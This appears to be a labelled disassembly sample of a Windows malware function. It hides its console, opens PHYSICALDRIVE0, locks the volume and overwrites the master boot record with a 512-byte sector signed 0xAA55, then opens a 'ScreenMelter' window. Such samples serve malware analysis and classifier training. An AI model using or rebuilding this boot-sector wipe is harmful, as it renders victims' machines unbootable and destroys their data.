Function at 0x140002420
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
lea rbp, [rax - 0x228]
sub rsp, 0x320
movaps xmmword [rax - 0x18], xmm6
movaps xmmword [rax - 0x28], xmm7
mov rax, qword [0x140039060]
xor rax, rsp
mov qword [rbp + 0x1f0], rax
mov rbx, rcx
xor edx, edx
lea rcx, str.ConsoleWindowClass
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x140002479
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov edx, 0xffffffec
mov r8d, 0x80
mov rcx, rax
call qword [sym.imp.USER32.dll_SetWindowLongW]
movzx eax, word [0x140033bf8]
lea rcx, str..PHYSICALDRIVE0
movups xmm6, xmmword [0x140033bd8]
xor esi, esi
xor r9d, r9d
movups xmm7, xmmword [0x140033be8]
mov qword [rsp + 0x30], rsi
mov edx, 0xc0000000
mov dword [rsp + 0x28], esi
lea r8d, [rsi + 3]
mov word [rbp - 0x28], ax
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140002589
mov qword [rsp + 0x38], rsi
lea rax, [rbp - 0x50]
mov qword [rsp + 0x30], rax
xor r9d, r9d
mov dword [rsp + 0x28], esi
xor r8d, r8d
mov edx, 0x90018
mov qword [rsp + 0x20], rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
xor edx, edx
lea rcx, [rbp + 0x11]
mov r8d, 0x1dd
call fcn.1400084f0
movzx eax, byte [rbp - 0x28]
lea r9, [rbp - 0x4c]
mov r8d, 0x200
mov byte [rbp + 0x10], al
lea rdx, [rbp - 0x10]
movaps xmmword [rbp - 0x10], xmm6
mov rcx, rdi
movaps xmmword [rbp], xmm7
mov word [rbp + 0x1ee], 0xaa55
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov qword [rsp + 0x38], rsi
lea rax, [rbp - 0x50]
mov qword [rsp + 0x30], rax
xor r9d, r9d
mov dword [rsp + 0x28], esi
xor r8d, r8d
mov edx, 0x9001c
mov qword [rsp + 0x20], rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.140001cb0
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
xor ecx, ecx
mov dword [0x14003b874], eax
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov edx, 0x7f00
mov dword [rsp + 0x60], esi
mov dword [0x14003b878], eax
xor ecx, ecx
lea rax, [0x140002250]
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x78], rbx
mov qword [rbp - 0x80], rsi
call qword [sym.imp.USER32.dll_LoadCursorW]
mov qword [rbp - 0x78], rax
xorps xmm0, xmm0
lea rcx, [rsp + 0x60]
movdqa xmmword [rbp - 0x70], xmm0
lea rax, [0x140033c18]
mov qword [rbp - 0x60], rax
call qword [sym.imp.USER32.dll_RegisterClassW]
test ax, ax
je 0x1400026ad
mov eax, dword [0x14003b878]
lea rdx, str.ScreenMelter
mov qword [rsp + 0x58], rsi
xor r8d, r8d
mov qword [rsp + 0x50], rbx
mov r9d, 0x80000000
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x40], rsi
mov dword [rsp + 0x38], eax
lea ecx, [r8 + 8]
mov eax, dword [0x14003b874]
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
call qword [sym.imp.USER32.dll_CreateWindowExA]
test rax, rax
je 0x1400026ad
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov rcx, rax
call fcn.14000c208
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
movups xmmword [rbp - 0x38], xmm0
movups xmmword [rbp - 0x28], xmm0
nop dword [rax]
xor r9d, r9d
mov dword [rsp + 0x20], 1
xor r8d, r8d
lea rcx, [rbp - 0x48]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x1400026a2
lea rcx, [rbp - 0x48]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp - 0x48]
call qword [sym.imp.USER32.dll_DispatchMessageW]
cmp dword [rbp - 0x40], 0x12
jne 0x140002670
mov eax, dword [rbp - 0x38]
jmp 0x1400026af
xor eax, eax
mov rcx, qword [rbp + 0x1f0]
xor rcx, rsp
call fcn.140005f30
lea r11, [rsp + 0x320]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop rbp
ret